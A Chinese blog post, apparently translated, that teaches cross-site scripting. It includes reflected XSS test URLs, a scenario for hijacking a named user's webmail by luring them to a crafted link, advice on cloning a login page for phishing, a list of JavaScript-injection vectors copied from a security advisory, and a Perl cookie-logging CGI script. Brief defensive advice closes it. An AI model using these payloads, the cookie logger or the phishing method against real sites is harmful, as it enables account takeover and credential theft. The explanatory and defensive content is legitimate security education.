注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

汇总技巧

你快乐我快乐.... 汇集各类技巧,传播技巧,让我们共同熟练运用技巧..

 
 
 

日志

 
 

跨站脚本攻击  

2011-06-06 17:37:42|  分类: ◆ASP技巧 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
 以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的
问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章

抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误
之处请
多多指点。
OK,go............
什么是跨站脚本(CSS/XSS)?
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该
页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,
有时候跨站脚本被称为XSS,这是因为CSS一般被称为分层样式表,这很容易让人困惑,
如果
你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。
XSS和脚本注射的区别?
原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS,还有另一种攻击方式:Script Injection,他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
HTML
JavaScript (本文讨论)
VBScript
ActiveX
Flas
是什么原因导致一个站点存在XSS的安全漏洞?
许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,
出错信息会被打印到一个html文件,并将该错误页面发送给访问者。
例如: 404 - yourfile.html Not Found! 
我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
例:http://www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
target=_blank>http://www.somesite.tld/cgi-bin/program.cgi?page=downloads.html">http://www.somesite.tld/cgi-bin/program.cgi?page=downloads.html

该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_
me.html
,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览
器。
考虑一下它是如何把我们的输入写到html文件里的?
OK,现在是我们检查XSS漏洞的时候了!
注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面
里。当然方法很多

target=_blank>http://www.somesite.tld/cgi-bin/program.cgi?page=scriptalert('XSS_Vuln_Testing')/sc


ript
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,XSS_Vuln_Testing?
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理

就直接写入404 error页面中,结果创建了一个页面,如下:
html
b404/b - scriptalert('XSS_Vuln_Testing')/script Not Found!
/html
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。
如何利用XSS来完成hacking?
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入
一个
html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入

该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
事例:
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的
目标是b00b这个人。
http://www.myemailserver.tld/cgi-bin/news.cgi?article=59035
target=_blank>http://www.myemailserver.tld/cgi-bin/news.cgi?article=59035">http://www.myemailserver.tld/cgi-bin/news.cgi?article=59035

把上面存在CSS漏洞的连接修改一下:
http://www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
target=_blank>http://www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red">http://www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red

这会创建了一个错误页面,我们得到如下信息:
Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。

target=_blank>http://www.myemailserver.tld/cgi-bin/news.cgi?article=scriptalert('test')


/script
script并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对
scriptalert('test')/script进行有效过滤,所以在页面发回到浏览器并执行了该脚本

下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美

如何呀?”
那么当可怜的b00b访问 http://www.myemailserver.tld/cgi-bin/news.cgi?article=script
target=_blank>http://www.myemailserver.tld/cgi-bin/news.cgi?article=script">http://www.myemailserver.tld/cgi-bin/news.cgi?article=script

并保存cookie的脚本
/script
连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!
如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,
那些笨蛋并不会意识到实际发生的事情。
把javascript脚本插入WEB页面的不同方法:
snip
拷贝自:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing wit.
  a href=javascript#DIV class=articlecode de
  div onmouseover=DIV class=articlecode de
  img src=javascript:DIV class=articlecode de
  img dynsrc=javascript:DIV class=articlecode de [IE]
  input type=image dynsrc=javascript:DIV class=articlecode de [IE]
  bgsound src=javascript:DIV class=articlecode de [IE]
  scriptDIV class=articlecode de/script
  {DIV class=articlecode de}; [N4]
  img src={DIV class=articlecode de}; [N4]
  link rel=stylesheet href=javascript:DIV class=articlecode de
  iframe src=vbscript:DIV class=articlecode de [IE]
  img src=mocha:DIV class=articlecode de [N4]
  img src=livescript:DIV class=articlecode de [N4]
  a href=about:scriptDIV class=articlecode de/script
  meta http-equiv=refresh content=0;url=javascript:DIV class=articlecode de
  body onload=DIV class=articlecode de
  div style=background-image: url(javascript:DIV class=articlecode de);
  div style=behaviour: url([link to code]); [IE]
  div style=binding: url([link to code]); [Mozilla]
  div style=width: expression(DIV class=articlecode de); [IE]
  style type=text/javascriptDIV class=articlecode de/style [N4]
  object classid=clsid:... codebase=javascript:DIV class=articlecode de [IE]
  style!--/stylescriptDIV class=articlecode de//--/script
  ![CDATA[!--]]scriptDIV class=articlecode de//--/script
  !-- -- --scriptDIV class=articlecode de/script!-- -- --
  scriptDIV class=articlecode de/script
  img src=blahonmouseover=DIV class=articlecode de
  img src=blah onmouseover=DIV class=articlecode de
  xml src=javascript:DIV class=articlecode de
  xml id=XabscriptDIV class=articlecode de/script;/b/a/xml
  div datafld=b dataformatas=html datasrc=#X/div
  [\xC0][\xBC]scriptDIV class=articlecode de[\xC0][\xBC]/script [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
/snip
一个真正的获取cookie并且做记录的例子:
注意:要使它工作,你的浏览器必须允许接受
http://website.tld
target=_blank>http://website.tld">http://website.tld

当我测试下面的信息时,使用
javascript创建访问者的cookies,javascript脚本放在index.html文件中。
OK,下面假设
http://website.tld
target=_blank>http://website.tld">http://website.tld

http://website.tld/program.cgi?input=eviljavascript
target=_blank>http://website.tld/program.cgi?input=evil">http://website.tld/program.cgi?input=eviljavascript

我们创建这样一个连接:
然后让保存该站点cookie的用户访问这个连接:
这是我们的CGI脚本,它的作用就是对用户cookie做记录:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
#  cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(C, hex($1))/eg;
open(EVIL_COOKIE_LOG, evil_cookie_log) or print Content-type:
text/html\n\n something went wrong\n;
  print EVIL_COOKIE_LOG $borrowed_info\n;
  print Content-type: text/html\n\n;
close(EVIL_COOKIE_LOG);
------------------------------------------
该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,
通过open(EVIL_COOKIE_LOG, evil_cookie_log),把cookie信息保存到evil_cookie_lo
g文件。
注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,
这仅仅是我在自己的站点上做测试用的。
如何防范XSS攻击?
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如和。
可以把,转换为,
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括=。
对受害者来说不要访问包含script字符的连接,一些官方的URL不会包括任何脚本元素。
  评论这张
 
阅读(122)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017